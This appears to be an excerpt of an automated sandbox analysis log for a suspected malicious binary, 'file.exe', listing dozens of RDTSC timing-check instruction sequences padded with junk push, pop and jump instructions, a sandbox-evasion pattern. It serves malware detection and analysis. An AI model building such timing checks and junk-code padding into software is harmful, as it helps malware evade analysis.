Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6582AF second address: 6582D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F65C10F109Dh 0x0000000b jmp 00007F65C10F107Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F65C10F107Eh 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B450D second address: 5B4536 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F65C0B38BF8h 0x0000000d pushad 0x0000000e jnl 00007F65C0B38BE6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65770A second address: 65770F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65770F second address: 657742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jc 00007F65C0B38BF5h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007F65C0B38BEEh 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657742 second address: 657746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657899 second address: 6578AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BEDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6578AA second address: 6578F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F65C10F107Dh 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jnp 00007F65C10F107Eh 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007F65C10F107Ch 0x0000001c pushad 0x0000001d jl 00007F65C10F1076h 0x00000023 jmp 00007F65C10F107Eh 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6578F4 second address: 657909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F65C0B38BE6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F65C0B38BE6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657A56 second address: 657A70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F1084h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657A70 second address: 657A76 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657D1C second address: 657D22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657D22 second address: 657D26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65995B second address: 659966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 659966 second address: 659985 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BF9h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 659985 second address: 65998B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65BE2C second address: 65BE30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65BE30 second address: 65BE34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6648DA second address: 6648F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65C0B38BF9h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6648F9 second address: 664902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 664902 second address: 664910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65C0B38BEAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66284E second address: 662867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F65C10F1084h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662B68 second address: 662B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65C0B38BF7h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662B88 second address: 662B99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F107Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662B99 second address: 662BA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F65C0B38BE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662E43 second address: 662E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F65C10F1089h 0x0000000d jng 00007F65C10F1076h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662E6C second address: 662E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65C0B38BF1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 662E82 second address: 662E93 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F65C10F107Ah 0x00000008 pop esi 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663411 second address: 663417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663417 second address: 66341B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66341B second address: 663440 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BEBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jnl 00007F65C0B38BE6h 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66370B second address: 663711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663711 second address: 663715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6639FB second address: 663A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65C10F1086h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663A15 second address: 663A93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F65C0B38BF0h 0x00000008 jmp 00007F65C0B38BF4h 0x0000000d popad 0x0000000e push ecx 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007F65C0B38BF2h 0x00000016 pop ecx 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a pushad 0x0000001b jno 00007F65C0B38BE6h 0x00000021 push eax 0x00000022 pop eax 0x00000023 popad 0x00000024 jmp 00007F65C0B38BEAh 0x00000029 pushad 0x0000002a jmp 00007F65C0B38BF2h 0x0000002f jmp 00007F65C0B38BF4h 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663D44 second address: 663D52 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F65C10F1076h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663D52 second address: 663D5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663D5B second address: 663D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663D61 second address: 663D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F65C0B38BF1h 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 je 00007F65C0B38BEEh 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663D90 second address: 663DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F65C10F108Ah 0x0000000a jmp 00007F65C10F1084h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663DAE second address: 663DB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F65C0B38BE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6642D1 second address: 6642FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C10F107Fh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F65C10F1085h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6642FB second address: 664305 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F65C0B38BF2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 664305 second address: 66430B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6645DE second address: 6645E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66D889 second address: 66D88D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C9C3 second address: 66C9E0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 jbe 00007F65C0B38BE8h 0x0000000e push ecx 0x0000000f jmp 00007F65C0B38BEAh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CB2C second address: 66CB32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CB32 second address: 66CB36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CB36 second address: 66CB5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F65C10F1078h 0x0000000c popad 0x0000000d push edx 0x0000000e jmp 00007F65C10F1083h 0x00000013 pushad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CE49 second address: 66CE4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CE4F second address: 66CE6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65C10F1088h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CE6B second address: 66CE6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CF90 second address: 66CFC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F65C10F1076h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F65C10F107Dh 0x00000014 jmp 00007F65C10F1082h 0x00000019 jng 00007F65C10F1076h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CFC6 second address: 66CFD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F65C0B38BECh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CFD7 second address: 66CFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F65C10F108Eh 0x0000000a jmp 00007F65C10F1088h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66CFF9 second address: 66D034 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F65C0B38BE6h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F65C0B38BF8h 0x00000010 jmp 00007F65C0B38BEDh 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jns 00007F65C0B38BE6h 0x0000001e push eax 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66D3FF second address: 66D40F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F65C10F1076h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66D585 second address: 66D59C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BEDh 0x00000007 je 00007F65C0B38BE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673B93 second address: 673BA7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 je 00007F65C10F1076h 0x0000000d ja 00007F65C10F1076h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673BA7 second address: 673BBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F65C0B38BEDh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67416F second address: 674173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674173 second address: 67419A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F65C0B38BEDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6742E5 second address: 6742F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F65C10F107Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6742F8 second address: 674302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674913 second address: 674919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674919 second address: 67492D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F65C0B38BEBh 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67492D second address: 674931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674931 second address: 674935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674935 second address: 67493B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67493B second address: 67494E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jne 00007F65C0B38BF8h 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 675163 second address: 675169 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CF05 second address: 67CF09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D047 second address: 67D04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F874 second address: 67F87A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F87A second address: 67F87E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D4A7 second address: 68D4D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jl 00007F65C0B38BE6h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 jmp 00007F65C0B38BEAh 0x00000018 jmp 00007F65C0B38BF4h 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695FE7 second address: 695FED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695FED second address: 69600A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F65C0B38BF5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A27B8 second address: 6A27BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A27BE second address: 6A27C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A27C8 second address: 6A27CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7F31 second address: 6A7F3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F65C0B38BE6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7F3D second address: 6A7F43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7F43 second address: 6A7F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7F4F second address: 6A7F53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7F53 second address: 6A7F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A80E8 second address: 6A80F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edx 0x00000006 pop edx 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A80F6 second address: 6A8107 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F65C0B38BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8107 second address: 6A810D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A828A second address: 6A8291 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8291 second address: 6A82AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b jbe 00007F65C10F1076h 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 jo 00007F65C10F107Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8401 second address: 6A8418 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65C0B38BF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8418 second address: 6A8449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F65C10F1076h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F65C10F107Ah 0x00000013 jo 00007F65C10F1089h 0x00000019 push edi 0x0000001a pop edi 0x0000001b jmp 00007F65C10F1081h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8449 second address: 6A846F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F65C0B38BFEh 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F65C0B38BF6h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A85A6 second address: 6A85C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jnp 00007F65C10F1076h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 jnc 00007F65C10F1078h 0x00000019 rdtsc
